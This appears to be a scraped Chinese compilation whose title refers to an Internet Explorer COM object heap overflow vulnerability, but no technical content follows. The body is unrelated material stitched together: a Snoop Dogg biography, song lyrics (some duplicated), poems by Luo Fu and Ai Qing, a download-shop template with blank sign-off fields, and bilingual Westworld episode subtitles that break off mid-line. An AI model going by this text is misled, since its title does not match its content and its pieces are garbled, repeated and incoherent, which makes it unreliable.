06014之后的又一匹烈马(IECOMObjectRemoteHeapOverflow)
美国著名说唱歌手简介
〖Snoop dogg简介〗西海岸说唱殿堂级人物!!Rap歌手[歌手简介]作为90年代gangsta rap的化身,Snoop Dogg将现实和虚幻的界限变得模糊。
Dr. Dre通过他的专辑“The Chronic”把Snoop Dogg介绍给世界。
很快,Snoop Dogg就成为了最著名的rap歌手。
部分因为他的演唱方式,简明押韵;也因为歌词含蓄、真实。
尤其是在他被控告之后。
控告无疑地加强了他的名气,这帮助了他的第一张专辑:1993's Doggystyle,成为他第一张赢得排行榜第一名的专辑。
但是最后,官司仍打击了他的事业。
Snoop在1994和1995年忙于官司,最终他被证实无罪,但这打击了他的动力。
他第二张专辑“The Doggfather”一直到1996年11月才发行,并且在那时pop和hip-hop had burned itself out on gangsta-rap。
“The Doggfather”只卖出了前作的一半,这意味着Snoop仍是一个明星,但是已经没有了两年以前的影响力。
爱称Snoop是妈妈取的,来源关于他的出生,Calvin Broadus在Long Beach, California长大,一个他经常惹出与法律有关麻烦的地方在他高中毕业之后不久,他因为藏有毒品被逮捕,在监狱呆了三年。
他用音乐来逃避有罪的生活。
Snoop Dogg和他的朋友Warren G开始用磁带录制歌曲。
Warren G碰巧是Dr. Dre的step-brother,于是给了他Snoop Dogg演唱的磁带。
Dr. Dre听过之后,对Snoop Dogg 的风格有了极深刻的印象,并且与他开始共同合作。
当Dr. Dre决定为电影Deep Cover演唱主题曲时,他邀请了Snoop Dogg与他合作。
“Deep Cover”是Snoop Dogg逐步成熟的一个信号,当Dr. Dre在1992年末由Death Row Records发行他的第一张专辑“The Chronic”时,Snoop Dogg 已经成熟了。
临崖勒马文本歌词
临崖勒马-谢安琪(Kay Tse)
诱人灯火似星要让眼睛入性
教这都市绚烂繁盛
但是半醉光景背后潜藏能量魅影嘀嗒声已在鸣倒数中扎醒
若未能及时临崖勒马
堕下来漫游颓垣败瓦
这一个家这么下去
就快被破坏沦落家不似家
若嫩芽突然全部腐化
浑浊浓雾弥漫难淡化
太可怕这代价
要让新生去付出吗
幼童手执野草朗地里唱歌起舞悠然地成长多美好
让盛世创新高千方与百计能做到不需坚固溶炉不接受噩耗
若未能及时临崖勒马
堕下来漫游颓垣败瓦
这一个家这么下去
就快被破坏沦落家不似家
若嫩芽突然全部腐化
浑浊浓雾弥漫难淡化
太可怕这代价
要让新生豁出吗
哪会愿意被逼得仓促搬家趁有路径现况未太差
望向别处转方位好吗
若未能及时临崖勒马
堕下来漫游颓垣败瓦
这一个家这么下去
定会被破坏破坏家不似家若嫩芽突然全部腐化
你我也雾化太可怕
还是再一起注水吧
去令枯土再开花。
漂木洛夫
没有任何时刻比现在更为严肃落日在海滩上未留一句遗言便与天涯的一株向日葵双双偕亡一块木头被潮水冲到岸边之后才发现……而那漂来的木头竟然把躺在沙滩上喘息的教授当作自己把横行於他腹际的一只螃蟹视为海神的暗喻紧紧顶住老教授的背脊卡嚓!木头嵌入他的体内天地忽焉合一他发现身上多了一根骨头多了一具坚挺的器官……西瓜。
青脸的孕妇凤梨。
带刺的亚热带风情甘蔗。
恒春的月琴香蕉。
一篓子的委屈地瓜。
静寂中成熟的深层结构……红叶少棒。
打带跑的地摊文化满街史艳文。
短线操作的股市文化历史博物馆。
老祖宗被一篇新的就职演说惊醒电视机爆炸。
对岸有人大发脾气宾馆。
五星级的情欲在房门后面窥伺十年浩劫。
又一次上帝横蛮地干预历史党书记兼总经理。
一把钥匙天堂与地狱共用……神在远方监视,看着我们把腐败的肉身一丝丝分配给每一个子女吸吮血水就够了泪则留给我们自己……有人看到一队唐朝的兵马开进了纽约的博物馆这是可能的王维住在谢灵运的隔壁完全是可能的他说他一出生便是好几个人他和许多个苏格拉底同时出生死的时候就只一个这一个死了只剩下思想思想死了诗,才开始飞翔去年从八十层高楼听到的鸽哨跌落在今日午餐的瓷盘里的只是一根丧失飞行意愿的羽毛我闲闲地端起酒杯,看着一把古剑穿越历史最后飞入一堆废铁神啊!这时你在那里?我被时间日夜追缉躲入书本中又给一群圣人吓了出来大家短命我又何苦霸占肉身不放日历每天都要叫一声痛神啊!这时你在那里?神啊,我需要救赎我一直瘫软在你手中的伤亡名单上还有我许多待救的朋友以及刍狗的刍狗我低头向自己内部的深处窥探果然是那预期的样子片瓦无存只见远处一只土拨鼠踮起后脚向一片废墟致敬大厅墙上祖父照片的日渐泛黄绝非偶然我自己不会黄的,时间说废弃的煤油灯,废弃的太师椅太师椅上还留有前朝腻腻的体温墙上的祖父拒绝变黄满意我井里滴水不剩的现状即使沦为废墟也不会颠覆我那温驯的梦洛夫的长诗《漂木》【漂木】第三章浮瓶中的书札而罗列的城邦,亦如梦一般空空的酒瓶诗的话语,亦如满地的菸蒂一种袅袅的孤独不作无聊之事何以遣有涯之生你们对着月亮最阴森的私处脱裤子你们野蛮的器官刺藤般高举,瞄准然后击落天上最亮的一组意象你们一再追问:穿过耶稣手掌狠狠捶进上帝心脏的那枚铁钉和隔壁木匠捶进木头直逼生命核心的那枚铁钉有何不同?木匠将钉子捶进木头的核心大都没有异议而钉子穿过耶稣的手掌通过约旦河,红海直达神的心脏却舆论哗然又是何故?某些诗篇曾论及铁与血的誓盟及其荒唐神的尴尬源自各各答山顶一块巨石的桀傲或许泪最谦卑自始即往低处流血,救赎的玫瑰通常盛开在我们肉体最肮脏的下水道而剑,肯定直奔尼采这类汉子的胸膛据说只要一根芦苇你们便可与上帝对话海滩上一只空空的白蚌壳独与天地精神往来,但它知道珍珠和痛苦总有一天会被人掏空你们说:烟升起,鸟便有了第三只翅膀多麽神奇的隐喻啊,神把创造世界的记录写在每棵树的年轮上而你们守护的孤独是最毒的那一株大花曼陀罗。
黄阅新歌《萤火X彼岸》歌词实用一篇
黄阅新歌《萤火X彼岸》歌词实用一篇(经典版)编制人:__________________审核人:__________________审批人:__________________编制单位:__________________编制时间:____年____月____日序言下载提示:该文档是本店铺精心编制而成的,希望大家下载后,能够帮助大家解决实际问题。
文档下载后可定制修改,请根据实际需要进行调整和使用,谢谢!并且,本店铺为大家提供各种类型的经典范文,如工作计划、工作总结、规章制度、策划方案、演讲致辞、合同协议、条据书信、教学资料、作文大全、其他范文等等,想了解不同范文格式和写法,敬请关注!Download tips: This document is carefully compiled by this editor. I hope that after you download it, it can help you solve practical problems. The document can be customized and modified after downloading, please adjust and use it according to actual needs, thank you!Moreover, our store provides various types of classic sample essays for everyone, such as work plans, work summaries, rules and regulations, planning plans, speeches, contract agreements, document letters, teaching materials, complete essays, and other sample essays. If you want to learn about different sample formats and writing methods, please pay attention!黄阅新歌《萤火X彼岸》歌词实用一篇黄阅新歌《萤火X彼岸》歌词 1天空蓝色的雨冷冷落在心里梦中的身影冻结回忆默默的守候只为你盛开在悬崖的花温热今生的牵挂岁月中的你相识的脸颊我却错过你年华彼岸花的泪在心上不断敲打错过的我们又白了发你离去背影徒留孤独的天下梦一场爱恨描成殇模糊了初见时的模样天空蓝色的雨冷冷落在心里梦中的身影冻结回忆默默的守候只为你盛开在悬崖的花温热今生的牵挂岁月中的你相识的脸颊我却错过你年华彼岸花的泪在心上不断敲打错过的我们又白了发你离去背影徒留孤独的天下梦一场爱恨描成殇模糊了初见时的模样彼岸花的泪是我在尽头等候你的轮廓触痛了哀伤可惜交错的目光望断了天涯唤醒了梦里的时光这一世让思念勿相忘这一世让思念勿相忘黄阅新歌《萤火X彼岸》歌词实用一篇扩展阅读黄阅新歌《萤火X彼岸》歌词实用一篇(扩展1)——TFBOYS新歌《萤火》歌词汇总二篇TFBOYS新歌《萤火》歌词 1轻盈闪耀着它乘着风等日落下山坡恋上夏夜森林的墨绿色像烟火看似狂欢却悄然盛开寂寞王俊凯:独自发光的不在遥远银河转动着无论快乐或难过成群的守护我陪伴着唱过童年无数的歌易烊千玺:而长大以后人海汹涌森林也被城市替换高楼重重王源:而长大以后梦中飞舞的萤火虫藏在我的身体陪我做梦合:我相信爱是萤火般的光芒在黑夜里迷路的人才能找到方向易烊千玺:握住希望把星星都装进行囊就不会害怕孤单流浪我相信爱是萤火般的信仰在绝望里虔诚的人就能长出翅膀王俊凯:抱住梦想像孩子般单纯善良然后飞向更遥远的地方王源:而长大以后人海汹涌森林也被城市替换高楼重重王俊凯:而长大以后梦中飞舞的萤火虫藏在我的身体陪我做梦合:我相信爱是萤火般的光芒在黑夜里迷路的人才能找到方向王源:握住希望把星星都装进行囊就不会害怕孤单流浪合:我相信爱是萤火般的信仰在绝望里虔诚的人就能长出翅膀易烊千玺:抱住梦想像孩子般单纯善良然后飞向更遥远的地方王俊凯:就算就算没太阳我也能发光王源:是你让我变得不一样易烊千玺:轻盈的飞舞的流浪的依然闪亮原来最远地方是你的身旁王俊凯:我永远相信萤火般的光芒让黑夜里迷路的人都能找到方向易烊千玺:握住希望把星星都装进行囊就不会害怕孤单流浪合:音乐知识我永远相信萤火般的信仰让绝望里虔诚的人都长出了翅膀抱住梦想像孩子般单纯善良我会不会飞向更远地方易烊千玺:你会陪着我飞向王俊凯:任何地方TFBOYS新歌《萤火》歌词 2王源:轻盈闪耀着它乘着风等日落下山坡恋上夏夜森林的墨绿色像烟火看似狂欢却悄然盛开寂寞王俊凯:独自发光的不在遥远银河转动着无论快乐或难过成群的守护我陪伴着唱过童年无数的歌易烊千玺:而长大以后人海汹涌森林也被城市替换高楼重重王源:而长大以后梦中飞舞的萤火虫藏在我的身体陪我做梦合:我相信爱是萤火般的光芒在黑夜里迷路的人才能找到方向易烊千玺:握住希望把星星都装进行囊就不会害怕孤单流浪合:我相信爱是萤火般的信仰在绝望里虔诚的人就能长出翅膀王俊凯:抱住梦想像孩子般单纯善良然后飞向更遥远的地方王源:而长大以后人海汹涌森林也被城市替换高楼重重王俊凯:而长大以后梦中飞舞的萤火虫藏在我的身体陪我做梦合:我相信爱是萤火般的光芒在黑夜里迷路的人才能找到方向王源:握住希望把星星都装进行囊就不会害怕孤单流浪合:我相信爱是萤火般的信仰在绝望里虔诚的人就能长出翅膀易烊千玺:抱住梦想像孩子般单纯善良然后飞向更遥远的地方王俊凯:就算就算没太阳我也能发光王源:是你让我变得不一样易烊千玺:轻盈的飞舞的流浪的依然闪亮原来最远地方是你的身旁王俊凯:我永远相信萤火般的光芒让黑夜里迷路的人都能找到方向易烊千玺:握住希望把星星都装进行囊就不会害怕孤单流浪合:音乐知识我永远相信萤火般的信仰让绝望里虔诚的人都长出了翅膀抱住梦想像孩子般单纯善良我会不会飞向更远地方易烊千玺:你会陪着我飞向王俊凯:任何地方黄阅新歌《萤火X彼岸》歌词实用一篇(扩展2)——tfboys新歌《萤火》歌词通用1篇tfboys新歌《萤火》歌词 1王源:轻盈闪耀着它乘着风等日落下山坡恋上夏夜森林的墨绿色像烟火看似狂欢却悄然盛开寂寞王俊凯:独自发光的不在遥远银河转动着无论快乐或难过成群的守护我陪伴着唱过童年无数的歌易烊千玺:而长大以后人海汹涌森林也被城市替换高楼重重王源:而长大以后梦中飞舞的萤火虫藏在我的身体陪我做梦合:我相信爱是萤火般的光芒在黑夜里迷路的人才能找到方向易烊千玺:握住希望把星星都装进行囊就不会害怕孤单流浪合:我相信爱是萤火般的信仰在绝望里虔诚的人就能长出翅膀王俊凯:抱住梦想像孩子般单纯善良然后飞向更遥远的地方王源:而长大以后人海汹涌森林也被城市替换高楼重重王俊凯:而长大以后梦中飞舞的萤火虫藏在我的身体陪我做梦合:我相信爱是萤火般的光芒在黑夜里迷路的人才能找到方向王源:握住希望把星星都装进行囊就不会害怕孤单流浪合:我相信爱是萤火般的信仰在绝望里虔诚的人就能长出翅膀易烊千玺:抱住梦想像孩子般单纯善良然后飞向更遥远的地方王俊凯:就算就算没太阳我也能发光王源:是你让我变得不一样易烊千玺:轻盈的飞舞的流浪的依然闪亮原来最远地方是你的身旁王俊凯:我永远相信萤火般的光芒让黑夜里迷路的人都能找到方向易烊千玺:握住希望把星星都装进行囊就不会害怕孤单流浪合:我永远相信萤火般的信仰让绝望里虔诚的人都长出了翅膀抱住梦想像孩子般单纯善良我会不会飞向更远地方易烊千玺:你会陪着我飞向王俊凯:任何地方黄阅新歌《萤火X彼岸》歌词实用一篇(扩展3)——黄汐源新歌《逃》歌词(精选1篇)黄汐源新歌《逃》歌词 1《逃》是一首颇有轻摇滚味道的歌。
艾青诗选短诗20首
艾青诗选短诗20首1. 《绿》好像绿色的墨水瓶倒翻了,到处是绿的……到哪儿去找这么多的绿:墨绿、浅绿、嫩绿、翠绿、淡绿、粉绿……绿得发黑、绿得出奇;刮的风是绿的,下的雨是绿的,流的水是绿的,阳光也是绿的;所有的绿集中起来,挤在一起,重叠在一起,静静地交叉在一起。
突然一阵风,好像舞蹈教练在指挥,所有的绿就整齐地按着节拍飘动在一起……2. 《太阳》从远古的墓茔,从黑暗的年代,从人类死亡之流的那边,震惊沉睡的山脉,若火轮飞旋于沙丘之上,太阳向我滚来……它以难遮掩的光芒,使生命呼吸,使高树繁枝向它舞蹈,使河流带着狂歌奔向它去,当它来时,我听见,冬蛰的虫蛹转动于地下,群众在旷场上高声说话,城市从远方,用电力与钢铁召唤它。
于是我的心胸,被火焰之手撕开,陈腐的灵魂,搁弃在河畔,我乃有对于人类再生之确信。
3. 《礁石》一个浪,一个浪,无休止地扑过来,每一个浪都在它脚下,被打成碎沫、散开……它的脸上和身上,像刀砍过的一样,但它依然站在那里,含着微笑,看着海洋……4. 《树》一棵树,一棵树,彼此孤离地兀立着,风与空气,告诉着它们的距离,但是在泥土的覆盖下,它们的根生长着,在看不见的深处,它们把根须纠缠在一起。
5. 《我爱这土地》假如我是一只鸟,我也应该用嘶哑的喉咙歌唱:这被暴风雨所打击着的土地,这永远汹涌着我们的悲愤的河流,这无止息地吹刮着的激怒的风,和那来自林间的无比温柔的黎明……——然后我死了,连羽毛也腐烂在土地里面。
为什么我的眼里常含泪水?因为我对这土地爱得深沉……6. 《启明星》属于你的是,光明与黑暗交替,黑夜逃遁,白日追踪而至的时刻,群星已经退隐,你依然站在那儿,期待着太阳上升,被最初的晨光照射,投身在光明的行列,直到谁也不再看见你。
7. 《冬天的池沼》冬天的池沼,寂寞得像老人的心——饱历了人世的辛酸的心;冬天的池沼,枯干得像老人的眼——被劳苦磨失了光辉的眼;冬天的池沼,荒芜得像老人的发——像霜草般稀疏而又灰白的发;冬天的池沼,阴郁得像一个悲哀的老人——佝偻在阴郁的天幕下的老人。
西部世界+第一季+(Westworld+Season+1)第04集_中英对照台词
Locked in your little cycle 受限于自己的小小圈子like a prized poodle after its own tail. 像追自己尾巴的珍贵狮子狗You sound like a man who’s grown tired你听起来好像是of wearing his guts on the inside. 活的不耐烦了There’s no need to get testy.没必要这么生气I’m just curious about your worldview.我只是对你的世界观很好奇Some kind of half-native mumbo jumbo? 某种半土著的乱七八糟的东西吗It’s simple.很简单I believe that only the truly brave 我认为只有真正的勇者can look at the world and understand that all of it–才敢于正视这个世界并明白世间的一切…gods, men, 无论是神或是人everything else– will end badly. 还有其他一切都终将以悲剧收尾No one will be saved. 没人可以被拯救Maybe we’ve got more in common than Ithought.那或许我们的共同点比我想的要多What about you? 那你呢What turns of fate have brought you here? 怎样的命运转折让你流落至此It’s a long story.说来话长And we don’t have the time.我们没那个闲工夫Got more time than your friend, sadly. 可惜我们的时间可比你那朋友多It will be a few more days before myfriends show up.再过几天我的朋友们就会来救我Three days. 三天Normally. 通常情况下I’m afraid I don’t have time for t hat, 恐怕我等不及了so we’re leaving now.所以我们现在就走吧I’ve got a request for a pyrotechnic effect.收到制造烟火效果的请求Los Diablos, low-yield, two charges. 恶魔低当量两个装药Approved. 批准Authorizing. 正在授权Step lively, Hector. 跟上赫克托Any last words? 有遗言吗Get it over with. 赶紧动手吧Motherfucker. 我操One match. 一根火柴You’re a capable man.你很有能力We could do with your help where we’re我们去的地方你能帮上忙going.Afraid not. 恐怕不行We owe you a debt. 我们欠你个人情No, your friend here 不你这位朋友simply owes me a word or two. 只欠我一两句话That’ll do.说出来就行了And a word of advice–给个建议…that thing you’re looking for?你们要找的东西You’re never gonna find it in that safe.是不可能在那个保险箱里是找到的I was seven when they rode into my town. 他们闯进我们镇子时我才7岁Masked men in devils’ horns.有着魔鬼犄角带着面具的人They killed everyone–他们杀光所有人…women, children, even the animals. 妇女幼童连牲口都不放过They gutted my mother from her jaw to他们把我母亲从下巴劈开到裆部her sex.I had to paint her warm blood 我不得不把她温热的鲜血over my skin to make sure 涂满我的全身that they would think I was dead. 让他们以为我死了Every one of them I tracked down, 我长大后开始追杀他们I used their blood to paint my skin again. 我会把死在我手下之人的血再次涂满全身Only one man left. 只剩下一个人The head of the snake. 蛇头What’s his name?他叫什么名字He has many names. 他有很多名字Most know him as Wyatt. 大多数人叫他怀亚特Hey, little girl, what– what is this? 等等小姑娘这…这是什么What does it mean? 这是什么意思Don’t waste your breath, lady.别白费口舌了女士That thing’s part of their so-called religion. 那属于他们所谓的宗教Ain’t none of them’s gonna tell you没人会告诉你的nothing about that.It’s $5 for an hour,一小时5块钱4 if you bathe first. 要是你先洗澡就4块Well, if we just get the one, 如果我们只点一个do I get a discount for being second and那我第二个上能不能打个折all?I’m sure we can work something out.我想我们能商量出解决办法的Come on. 来吧The tall one, I’ve seen him before,那个高个子我以前见过他hanging in the window of the post office. 他的画像贴在邮局窗口Bandits? 土匪吗Do you think they’re here for something?你觉得他们来是有目的的吗I think they’re interested in more than a我觉得他们可不仅仅是来操女人的turn at Franny’s backside.I think he rides with Hector. 我觉得他是赫克托的同伙Is that the one they say lives out with the传闻跟野蛮人一起生活的就是他吗savages?That’s the one.就是他Taking off? I just got here. 要走了吗我才刚到呢You gave me what I needed. 你已经给了我需要的So, is that all I’m good f or? 我就是这个作用吗Letting off a little stress? 帮你缓解压力Who says I’m stressed?谁说我有压力了You have your tells. 你表现得挺明显了Oh, yes, Bernard, 是啊伯纳德master of observation. 观察大师Tomorrow I have to talk to Ford. 明天我得找福特谈谈Why? 为什么He’s creating chaos in the park.他在园区制造混乱And the board will be descending at anymoment.董事会的人随时会来I need to buy some time. 我需要争取点时间Some advice? 要我给点建议吗Best to not show him you’re nervous ordefensive.最好不要让他发现你很紧张或有防御性I have nothing to be defensive about. 我没有什么好防御的Then don’t cross your arms.那就不要交叉双臂It’s an ancient instinct.这是一种古老的直觉If you can do that, 如果你能做到then maybe you can be free. 那或许你可以获得自由I think…我觉得…I think I want to be free. 我觉得我想获得自由Thank you. 谢谢Penny for your thoughts. 你在想什么Ever had something on the tip of your tongue, 你有没有遇到过有时候话到嘴边却不记得了but the harder you try to remember it, themore it slips away?你越是努力去想就越是想不起来Most things that touch the tip of mytongue,大多数触碰到我嘴边的东西You leave now, that no-good outlaw Slim Miller 你如果现在走了那个亡命之徒斯利姆·米勒is sure to evade our grasp. 肯定就抓不到了No fucking way. 没门You were the one who dragged me on thisstupid bounty hunt.是你带我来当这个傻逼赏金猎人的The least we’re going to do is see itthrough, okay?至少我们得把这件事做完We can’t take her on a bounty hunt.我们不能带着她追捕犯人If you’re so concerned about her well-being,如果你这么担心她I’ll just blow her brains out,那我一枪爆了她的头就好了and then the park will come get her. 园区会派人来回收她Can you please stop trying to just kill orfuck everything?你能不能别总想着杀人操逼Now I get it. 我懂了What? 怎么The park sent her so that you will finally 园区派她过来好让你终于have something to give a shit about. 能对某件事上心Oh, yeah, I’m sure the people at thecontrols是啊控制中心的人肯定是are monitoring my every mood. 时刻监视着我的情绪That’s exactly what they’re doing.他们就是这么做的Come on, you really think it’s acoincidence拜托难道你认为that the only thing that you even smiled atback in Sweetwater你在甜水镇唯一会报以微笑的人just happened to drop into your lap? 就这么出现在你面前只是个巧合吗This is why the company needs to bump our stake in this place. 这就是公司为什么想对这里增持股份的原因They can even give you a sense of purpose. 他们能让你拥有使命感You said the trip was about welcoming me to the family. 你说这趟旅程是为了欢迎我加入你们家族This is business? 其实是公事吗With our family, William, everything isbusiness.威廉对我们家族而言所有事都是公事We better get a move on, gentlemen. 我们得继续前进了先生们This should be the place, Lawrence. 应该就是这里了劳伦斯The Blood Arroyo. 血河Plenty of snakes, but none of the egg-laying variety.有很多蛇但都不会生蛋You killed my wife, 你杀了我妻子severely pruned my family tree 杀了我家族的一群人all in pursuit of some goddamn maze. 就为了找个什么迷宫The hell you hope to find, anyway? 你到底想找什么The belly is the most vulnerable part of 任何动物的肚子都是最脆弱的地方every animal.It’s so sexy being compared to a frightened把我比作惊恐的野兽竟然还挺性感的beast.There. 这就对了That’s the posture you’re looking for.这才是你该有的姿态Sometimes, 有时候despite your best efforts, 尽管你尽了最大的努力you can actually be quite charming. 你其实本来就那么迷人Have the neighbors complained? 邻居来投诉了吗Safe to say, they’re asking questions.应该说他们在问各种问题The rocks would prefer not to move, 虽然这些石头很难移开but we shall move them yet. 但我们还是要把它们清除Perhaps I can help you with that. 也许我能帮帮你The narrative you’re creating你现在开发的故事线is clearly a massive endeavor. 肯定是一项大工程If you need more time, 如果你需要更多时间I’m sure the board would be happy to我觉得董事会肯定会乐意照顾一下oblige.I’m sure they’d be happier他们肯定更加乐意for me to delay it indefinitely. 让我无限期推迟Come with me. 跟我来You imagine I have gone mad…你觉得我疯了do you? 对吗Lost my way? 失去了理智We’re simply concerned我们只是担心about the extent of the changes you’re你即将带来的改变程度过大making.We want to protect your legacy. 我们想保护你的遗产My legacy? 我的遗产You don’t like this place very much, do你不是很喜欢这个地方对吗you?I’ve seen many of you come and go over多年来我见过很多你这样的人来来去去the years,and I can tell the ones who enjoy theirtime here我能看出谁喜欢这里and the ones who don’t.而谁不喜欢I admire it, 我挺欣赏的the audacity of it. 这里的大胆风格I’ve forgotten how beautiful it is.我都忘了这里有多美I came here once as a child with myparents.我小时候跟父母来过一次I think we even sat at this table. 我觉得我们甚至就在这张桌子边坐过Or maybe– maybe that one. 也许…也许是那张When I started working here, 我开始在这里工作时I realized this place wasn’t something Iwould enjoy.我意识到我不会喜欢这个地方In the beginning, I imagined things wouldbe一开始我想象一切都会perfectly balanced. 非常平衡Even had a bet with my partner, Arnold, tothat effect.我甚至为此和我的搭档阿诺德打赌We made a hundred hopeful storylines. 我们编了一百条充满希望的故事线Of course, almost no one took us up onthem.当然了几乎没人接受那些I lost the bet. 我输了Arnold always held a somewhat dim viewof people.阿诺德总是对人类抱有一些阴暗的看法He preferred the hosts. 他更喜欢接待员He begged me to not let you people in, 他求我不要引入你们这些人the moneymen. 那些投资者Delos. 像提洛岛一样But I told him we’d be fine,但我告诉他我们会没事的that you didn’t underst and what you were paying for. 你们并不知道你们所花的钱是用来建设什么了It’s not a business venture, not a themepark,不是什么商业投机不是什么主题公园but an entire world. 而是一整个世界We designed every inch of it. 每一分一毫都是我们设计的Every blade of grass. 每片草叶In here, we were gods. 在这里我们就是神And you were merely our guests. 你们只是我们的客人And how did that work out for Arnold? 那阿诺德结局如何呢Sadly, he lost his perspective. 很不幸他丧失了远见He went mad. 他疯了I haven’t, as you well know.我没有你也清楚I have always seen things very clearly. 我看事情一直非常清楚透彻This is the table I sat at with my parents. 我和我父母当年就坐在这张桌子边This is the chair I sat in. 我就坐在这张椅子上We know everything about our guests,我们对客人了如指掌不是吗don’t we?As we know everything about our我们对我们的员工也是如此employees.I do hope you will be careful with Bernard. 我希望你小心伯纳德He has a sensitive disposition. 他的性情很敏感I beg your pardon, se?orita. 非常抱歉小姐There have been many of you over the这些年来有很多你这样的人years,and we have always– almost always 我们一直几乎一直found a way to make it work. 都能想办法解决So, I will ask you nicely, 所以我客气地请求你please…请你don’t get in my way.不要挡我的道The board will agree with me. 董事会会同意我的意见They’ll be sending a representative.他们会派代表来But they already have. 但他们已经派人来了I thought they would’ve told you.我以为他们会告诉你呢That won’t be necessary, Manu.不用了摩奴Not anymore. 不用再来了You can join the others. 你可以和其他人一起走了You can tell the board that 你可以告诉董事会my narrative will be completed on time, 我会及时完成我的故事线and it won’t be a retr ospective, 不会是怀旧的风格as I’m sure you have all feared.我相信你们都恐惧会是那样I’m not the sentimental type.我不是多愁善感之人Holden says this Slim’s got a whole gang霍尔登说斯利姆带了一大帮手下with him,so I need you to stay here. 所以我要你留在这里If you’re outnumbered,如果你们寡不敌众the last thing you need is somebody最不该的就是让一个人袖手旁观standing by.This whole world is a story. 这整个世界就是一个故事I’ve read every page except the last one.我每页都读过除了最后一页I need to find out how it ends. 我得搞清楚结局如何I want to know what this all means. 想要知道这一切意义何在See, now that’s why I never learned to瞧这就是为什么我一直没念书识字read.Why don’t we forget about this damn我们何不忘了那条该死的蛇snake,Dolores? 徳洛丽丝Yes. 在Do you know where you are? 你知道你现在在哪儿吗I…我…I’m in a dream.我在梦里Before this, 在此之前do you know what happened? 你知道发生了什么事吗My parents…我的父母They hurt them. 他们伤害了他们Limit your emotional affect, please. 请控制下你的情绪反应What happened next? 接下来发生了什么Then they killed them. 然后他们杀了他们And then…然后I ran. 我跑了Everyone I cared about is gone…我关心的人都不在了and it hurts…内心好痛苦so badly. 撕心裂肺I can make that feeling go away if you’dlike.如果你愿意我可以让那种感觉消失Why would I want that? 我为什么要那样呢The pain, 那种痛their loss…失去他们it’s all I have left of them.是他们留给我唯一的东西了You think the grief will make you smallerinside,你以为悲痛会让你的内心更弱小like your heart will collapse in on itself, butit doesn’t.好像你的心彻底瓦解了但其实并不会I feel spaces opening up inside of me 我觉得我内心又敞开了一片空间like a building with rooms I’ve never explored. 就像一栋我从未探索过的带有很多房间的大楼That’s very pretty, Dolores.那很美徳洛丽丝Did we write that for you? 那是我们预先写好的程序吗In part. 部分是的I adapted it from a scripted dialogue aboutlove.我改编自一段关于爱的有剧本对话Is there something wrong with thesethoughts I’m having?我现在的这些想法有什么不对吗No. 没有But I’m not the only one making thesedecisions.但真正做决定的人并非只有我一个Can you help me? 你能帮助我吗Well, what is it that you want? 你想要什么I don’t know.我不知道But this world…但是这个世界…I think there may be something wrongwith this world.我觉得这个世界或许有什么不对劲Something hiding underneath. 藏在表层之下的东西Either that or…要么是那个原因…or there’s something wrong with me.要么就是我有什么毛病- I can help. - No, no, no. -我可以帮忙 -不不不I know it doesn’t make any sense to you,我知道你也许不懂but I can’t get hurt in there, but you can.但我在这不会受伤而你却会I would hate to see that happen. 我不想看到你受伤Just stay here. Okay? Be safe. 待在这里好吗注意安全- Did you get a good-bye kiss? - Shut up. -你享受到告别之吻了吗 -闭嘴Seriously, if you don’t bang her by说真的如果明天之前你还没上她tomorrow,- I’m calling dibs. - Okay, listen up. -她就归我了 -好了听着It’s gonna be a bag of nails in there.一会儿场面会非常混乱Slim and his boys got us outnumbered. 斯利姆和他的手下人数太多On top of that, there’s a family runs this最关键的是这地方是由一个家庭经营的place.Good people. 善良的人We need to make sure that snake-hearted我们必须确保那狼心狗肺的混蛋son of a bitch- doesn’t try to– - Yeah, yeah, yeah. -没有试图… -是是是懂Risk, reward. We got it. 冒险赏金我们懂的Come on. Let’s go fuck these fuckers up.来吧我们把这些混蛋杀个爽The fuck is that? 那他妈是什么- I look like a dog to you? - No, sir. -你看我像条狗吗 -不先生Feed that to them. 拿这些喂狗去吧Slap leather, cocksuckers. 该拔枪了狗杂种Oh, God! 老天Did I fucking tell you, or what? 我告诉过你的对吧Upgrade. 升级版Nice. 真棒Ain’t normally the type to complain, but不是我爱抱怨但这真是鲁莽的行为this is just foolhardy.Two men taking on Wyatt. 两个人去和怀亚特较量Keep talking, and I’m gonna take the horse你再多嘴我就把马收回劳伦斯back, Lawrence.Wyatt’s freaks just wiped out the last怀亚特手下的怪胎们刚刚消灭了上一支groupthat went seeking him out. 前去搜寻他的小队And here we are riding right after him. 而现在我们正骑马跟踪他I’m just trying to convinc e you 我只是想说服你not to get yourself and me as a bystander别让我俩像个局外人一样被杀死killed.I’m not gonna get myself killed.我不会让自己被杀Don’t think I didn’t notice that distinction.别以为我没听出这其中的差别Looks like Wyatt’s men left somebody看来怀亚特的手下还留下了一人behind after all.Teddy. 泰迪I should’ve guessed.我早该猜到的Please, put me out of my misery. 求你结束我的痛苦吧I’m sorry, Teddy.不好意思泰迪It looks like misery’s all you got.似乎你只剩痛苦了Let me out of this, God damn it! 放我下来该死的That reward is dead or alive, right? 通缉令上写着无论死活对吧Always best to bring them in alive. 最好还是活着带回去I may be losing my mind. 我可能疯了There’s something I’d like you to try.我想让你尝试一件事It’s a game.是个游戏A secret. 一个秘密It’s called…叫做…the Maze. 迷宫What kind of game is it? 是什么样的游戏It’s a very special kind of game, Dolores.是一种非常独特的游戏徳洛丽丝The goal is to find the center of it. 目标就是找到迷宫的中心I’m happy to forget.我都很乐意忘掉Except that cowpoke from Abilene. 除了那个来自阿比林的牛仔That thing he was packing–他胯下的那玩意儿that was something to remember. 我倒是终身难忘All I recall is you letting that cowpoke skipout on his bill.我只记得你给那个牛仔免单了Hell, I oughta been paying him. 天啊我该付钱给他才对The way he used that thing. 他对那玩意儿的灵活使用简直…Better cool them off 最好压一压他们的兴致before they move from gambling and whoring 否则他们就会从赌博嫖娼升级到更恶劣的行为to sins that are more costly to repair. 造成的破坏修复起来又要花很多钱What is the matter, Maeve? 怎么了梅芙Something in your eye. 你的眼睛里有什么东西Aw, can you fucking kill it? 你他妈能杀了它吗Jesus. 天啊What’s the hold up?怎么耽误了这么久We need that one on the next shuttle topside. 我们要把那个放在下一趟运输车的最上层I’m not finished with her yet. Hang on.我还没处理完她稍等I’ve got another bullet fragment to removefrom her abdomen.她的腹部还有一颗子弹要取出来QA wants her back on the floor now. 质保部要求将她立即送过去Just patch her and get her on the…把她修补下然后放到…touch the tip of my tongue……触碰到我嘴边的东西I’m happy to forget.我都很乐意忘掉Except that cowpoke from Abilene. 除了那个来自阿比林的牛仔That thing he was packing–他胯下那玩意儿that was something to remember. 那倒是让我终身难忘The way he used that thing. 他对那玩意儿的灵活使用简直…No, I would not characterize this as normalhost 